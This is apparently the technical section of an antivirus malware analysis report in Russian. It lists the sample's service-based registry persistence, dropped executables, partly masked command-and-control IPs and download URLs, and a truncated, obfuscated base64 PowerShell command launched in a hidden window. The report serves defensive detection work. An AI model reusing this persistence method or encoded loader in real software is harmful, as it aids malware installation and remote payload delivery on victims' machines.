Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\scesrv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\scesrv] 'ImagePath' = '"%WINDIR%\SysWOW64\bitsprx4\scesrv.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD...
- %HOMEPATH%\751.exe
- %WINDIR%\syswow64\bitsprx4\scesrv.exe
- %HOMEPATH%\751.exe в %WINDIR%\syswow64\bitsprx4\scesrv.exe
- '18#.#4.128.197':80
- '19#.#7.203.63':8080
- http://pr####itar.com.br/privilege/VwWMjYDU/
- http://pr####itar.com.br/cgi-sys/suspendedpage.cgi
- http://pr###clame.nl/assets/Riw/
- http://19#.##.203.63:8080/44OmkRS/zOhiA611zky/v4JAy5/Nk4Y/ via 19#.#7.203.63
- DNS ASK pr####itar.com.br
- DNS ASK pr###clame.nl
- '%HOMEPATH%\751.exe'
- '%WINDIR%\syswow64\bitsprx4\scesrv.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD...' (со скрытым окном)